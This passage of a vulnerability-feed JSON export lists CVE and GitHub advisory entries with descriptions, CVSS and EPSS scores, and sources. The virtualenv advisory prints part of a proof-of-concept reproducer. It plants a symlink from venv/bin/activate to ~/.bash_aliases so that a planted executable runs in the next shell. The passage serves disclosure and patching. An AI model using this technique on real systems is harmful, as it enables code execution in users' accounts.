fixes.","publishedAt":"2026-10-22T18:17:26.377Z","updatedAt":"2026-10-23T22:16:53.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108357","asOf":"2026-10-23T22:16:53.180Z"},"epss":{"probability":0.00357,"percentile":0.29218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108357&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108357","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108357","type":"primary","publishedAt":"2026-10-22T18:17:26.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108357&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108357, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-threatsday-ai-secrets-leak-pingcap-d99ba89c8964","cveId":null,"aliases":[],"kind":"vulnerability","title":"ThreatsDay: AI Secrets Leak, PingCAP Source Theft, Signal Hang-Up Flaw, Laravel Auth Bypass + 21 More","summary":"This week has already been rough for cybersecurity. Critical PHP and GitLab RCE flaws, serious Linux security bugs, compromised eMudhra certificates, a Node.js RCE flaw, a hacked LiteLLM release, and hundreds of hijacked Tor relays. That's a lot to deal with in just a few days. And the week isn't even over yet.\n\nBut those big headlines are only half the story. Stolen passwords, exposed","detail":"This week has already been rough for cybersecurity. Critical PHP and GitLab RCE flaws, serious Linux security bugs, compromised eMudhra certificates, a Node.js RCE flaw, a hacked LiteLLM release, and hundreds of hijacked Tor relays. That's a lot to deal with in just a few days. And the week isn't even over yet.\n\nBut those big headlines are only half the story. Stolen passwords, exposed\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-22T17:45:44.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: ThreatsDay: AI Secrets Leak, PingCAP Source Theft, Signal Hang-Up Flaw, Laravel Auth Bypass + 21 More","url":"https://thehackernews.com/2026/10/threatsday-ai-secrets-leak-pingcap.html","type":"reporting","publishedAt":"2026-10-22T17:45:44.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115513","cveId":"CVE-2026-115513","aliases":[],"kind":"vulnerability","title":"OpenCATS before 0.12.0 contains a stored cross-site scripting vulnerability that allows a low-privileged authenticated user to inject HTML/JavaScript payloads by setting a...","summary":"OpenCATS before 0.12.0 contains a stored cross-site scripting vulnerability that allows a low-privileged authenticated user to inject HTML/JavaScript payloads by setting a Candidate, Company, Contact, Job Order, or List name/title field, which is stored unsanitized and later rendered unescaped in the 'Recent' (MRU) navigation panel displayed on nearly every page via lib/MRU.php's getFormatted() function. Attackers can exploit this by crafting a malicious record name that executes arbitrary JavaScript in the session of any other user, including Site Administrators, who views the record, enabling session/cookie theft and privilege escalation to full administrative control.","detail":"OpenCATS before 0.12.0 contains a stored cross-site scripting vulnerability that allows a low-privileged authenticated user to inject HTML/JavaScript payloads by setting a Candidate, Company, Contact, Job Order, or List name/title field, which is stored unsanitized and later rendered unescaped in the 'Recent' (MRU) navigation panel displayed on nearly every page via lib/MRU.php's getFormatted() function. Attackers can exploit this by crafting a malicious record name that executes arbitrary JavaScript in the session of any other user, including Site Administrators, who views the record, enabling session/cookie theft and privilege escalation to full administrative control.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T17:16:59.217Z","updatedAt":"2026-10-22T17:16:59.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115513","asOf":"2026-10-22T17:16:59.340Z"},"epss":{"probability":0.00296,"percentile":0.2206,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115513&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115513","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115513","type":"primary","publishedAt":"2026-10-22T17:16:59.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115513&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115513, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115416","cveId":"CVE-2026-115416","aliases":[],"kind":"vulnerability","title":"Incorrect authorization checks in Amazon Athena engine version 3 query processing could have allowed an authenticated user to read AWS account identifiers and SQL statement text...","summary":"Incorrect authorization checks in Amazon Athena engine version 3 query processing could have allowed an authenticated user to read AWS account identifiers and SQL statement text query metadata from other AWS accounts. Query results, and data stored in Amazon S3 or other data sources, were not accessible through this issue.\n\n\n\nAWS remediated the issue on October 7, 2026. No customer action is required.","detail":"Incorrect authorization checks in Amazon Athena engine version 3 query processing could have allowed an authenticated user to read AWS account identifiers and SQL statement text query metadata from other AWS accounts. Query results, and data stored in Amazon S3 or other data sources, were not accessible through this issue.\n\n\n\nAWS remediated the issue on October 7, 2026. No customer action is required.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T17:16:58.913Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115416","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00273,"percentile":0.19459,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115416&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115416","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115416","type":"primary","publishedAt":"2026-10-22T17:16:58.913Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115416&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115416, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114605","cveId":"CVE-2026-114605","aliases":[],"kind":"vulnerability","title":"dnspython is a DNS toolkit for Python.","summary":"dnspython is a DNS toolkit for Python. Prior to 2.9.0, dns.name.from_wire_parser follows attacker-controlled DNS compression pointer chains without a hop limit. A malicious DNS wire-format message can force excessive pointer traversal during name decompression, causing high CPU use, application degradation, or denial of service in applications that process untrusted DNS messages. This issue is fixed in version 2.9.0.","detail":"dnspython is a DNS toolkit for Python. Prior to 2.9.0, dns.name.from_wire_parser follows attacker-controlled DNS compression pointer chains without a hop limit. A malicious DNS wire-format message can force excessive pointer traversal during name decompression, causing high CPU use, application degradation, or denial of service in applications that process untrusted DNS messages. This issue is fixed in version 2.9.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T17:16:58.237Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114605","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00335,"percentile":0.26586,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114605&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114605","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114605","type":"primary","publishedAt":"2026-10-22T17:16:58.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114605&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114605, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104068","cveId":"CVE-2026-104068","aliases":[],"kind":"vulnerability","title":"JetBackup plugin for WordPress before 3.1.24.10 contains a symlink-based arbitrary file write vulnerability that allows an authenticated WordPress administrator to write...","summary":"JetBackup plugin for WordPress before 3.1.24.10 contains a symlink-based arbitrary file write vulnerability that allows an authenticated WordPress administrator to write attacker-controlled file contents outside the intended restore destination during backup import and restore. Attackers can craft a backup archive containing a symbolic link that archive extraction follows without validating targets or enforcing destination containment, potentially leading to server-side code execution depending on the writable destination and server configuration.","detail":"JetBackup plugin for WordPress before 3.1.24.10 contains a symlink-based arbitrary file write vulnerability that allows an authenticated WordPress administrator to write attacker-controlled file contents outside the intended restore destination during backup import and restore. Attackers can craft a backup archive containing a symbolic link that archive extraction follows without validating targets or enforcing destination containment, potentially leading to server-side code execution depending on the writable destination and server configuration.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T17:16:56.720Z","updatedAt":"2026-10-23T15:17:22.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104068","asOf":"2026-10-23T15:17:22.943Z"},"epss":{"probability":0.00657,"percentile":0.51137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104068","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104068","type":"primary","publishedAt":"2026-10-22T17:16:56.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113721","cveId":"CVE-2026-113721","aliases":["GHSA-558c-9hv2-4prj"],"kind":"vulnerability","title":"virtualenv: Generated files can follow existing destination links","summary":"Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The\ntemplate writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the\nexisting path directly.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.","detail":"## Summary\n\nGenerated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The\ntemplate writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the\nexisting path directly.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nFinal file entries written during environment creation and seeding.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare file links in the destination before creation. The invoking user must have write\npermission at the linked target. The destination parent must remain controlled during creation; concurrent\nparent-directory replacement is a separate concern.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py),\n[configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\n`ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink\ntherefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related\nfinal-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard\nlink there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's\npermission to write the linked target.\n\n## Reproduction and evidence\n\nThe scanner's project tree contains `venv/bin/activate -> ../../../.bash_aliases` and an executable `venv/bin/basename`.\nBefore creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation\nscript through the dangling link, creating `~/.bash_aliases` as a regular file. Debian's stock `.bashrc` sources that\nfile; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer\nchecks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate\nmanual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text.\n\nThe link lets creation write outside the requested environment. The attacker chooses the target path but the generated\nbytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not\narbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first\nreleased in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and\nuses exclusive creation for generated text. It does not make a destination safe if another account can replace parent\ndirectories during creation.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared project tree\n participant V as virtualenv writer\n participant H as User home\n participant B as Next interactive bash\n A->>V: venv/bin/activate links to missing ~/.bash_aliases\n V->>V: Path.exists() follows link and returns false\n V->>H: write activation bytes through link\n H-->>B: ~/.bash_aliases now exists\n B->>H: .bashrc sources ~/.bash_aliases\n B->>A: PATH reaches planted venv/bin/basename\n A-->>B: marker created\n Note over V,H: pyvenv.cfg can also overwrite an existing linked target\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\n# set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists\nhome = tempfile.mkdtemp(prefix=\"home-\")\nshutil.copy(\"/etc/skel/.bashrc\", f\"{home}/.bashrc\")\nbash_aliases = f\"{home}/.bash_aliases\"\nmarker = f\"{home}/attacker-ran\"\nopen_terminal = [\"bash\", \"-i\", \"-c\", \"true\"]\nterminal_env = {\"HOME\": home, \"PATH\": \"/usr/bin:/bin\", \"TERM\": \"dumb\"}\n\n# the attacker's repository, cloned by the user to ~/proj\ncheckout = f\"{home}/proj\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/make_hostile_checkout.py\", checkout], check=True)\nactivate = f\"{checkout}/venv/bin/activate\"\nprint(\"shipped: venv/bin/activate ->\", os.readlink(activate), flush=True)\n\n# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\nprint(\"before virtualenv: ~/.bash_aliases exists:\", os.path.lexists(bash_aliases), \"| marker exists:\", os.path.exists(marker), flush=True)\nassert not os.path.lexists(bash_aliases) and not os.path.exists(marker)\n\n# trigger: the user creates an environment in the checkout, then opens a new terminal\nsubprocess.run([\"virtualenv\", \"--no-periodic-update\", \"venv\"], cwd=checkout, env={**os.environ, \"HOME\": home}, check=True)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\n\n# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases\nprint(\"venv/bin/activate is still the symlink:\", os.path.islink(activate))\nwritten_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)\nprint(\"~/.bash_aliases created as a regular file:\", written_outside)\nif written_outside:\n print(\" its first line:\", open(bash_aliases).readline().rstrip())\nattacker_code_ran = os.path.exists(m\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T17:03:12.000Z","updatedAt":"2026-10-22T17:03:13.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-558c-9hv2-4prj","asOf":"2026-10-22T17:03:13.000Z"},"epss":{"probability":0.00144,"percentile":0.03634,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113721&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-558c-9hv2-4prj","url":"https://github.com/advisories/GHSA-558c-9hv2-4prj","type":"primary","publishedAt":"2026-10-22T17:03:12.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-558c-9hv2-4prj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-558c-9hv2-4prj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-558c-9hv2-4prj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-558c-9hv2-4prj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-558c-9hv2-4prj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-558c-9hv2-4prj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-558c-9hv2-4prj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-558c-9hv2-4prj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-558c-9hv2-4prj, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113721&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113721, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-two-cvss-90-linux-ksmbd-rce-flaws-7c53f743c082","cveId":null,"aliases":[],"kind":"vulnerability","title":"Two CVSS 9.0 Linux KSMBD RCE Flaws Disclosed on Public Mailing Lists Before Kernel Fixes","summary":"Linux servers running KSMBD, the kernel's built-in SMB server, are exposed to two publicly reported remote code execution flaws rated 9.0 by Trend Micro's Zero Day Initiative, with no fix yet in the mainline kernel.\n\nOne of them, ZDI-CAN-33774, can be triggered before any network authentication. The other, ZDI-CAN-33549, requires the SMB Direct transport and an RDMA-capable network","detail":"Linux servers running KSMBD, the kernel's built-in SMB server, are exposed to two publicly reported remote code execution flaws rated 9.0 by Trend Micro's Zero Day Initiative, with no fix yet in the mainline kernel.\n\nOne of them, ZDI-CAN-33774, can be triggered before any network authentication. The other, ZDI-CAN-33549, requires the SMB Direct transport and an RDMA-capable network\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-22T17:01:53.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Two CVSS 9.0 Linux KSMBD RCE Flaws Disclosed on Public Mailing Lists Before Kernel Fixes","url":"https://thehackernews.com/2026/10/two-cvss-90-linux-ksmbd-rce-flaws.html","type":"reporting","publishedAt":"2026-10-22T17:01:53.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-78g4-xqwv-q3g8","cveId":null,"aliases":[],"kind":"vulnerability","title":"Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()","summary":"Every Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219\n\nBecause the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings.","detail":"### Summary\n\nEvery Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a 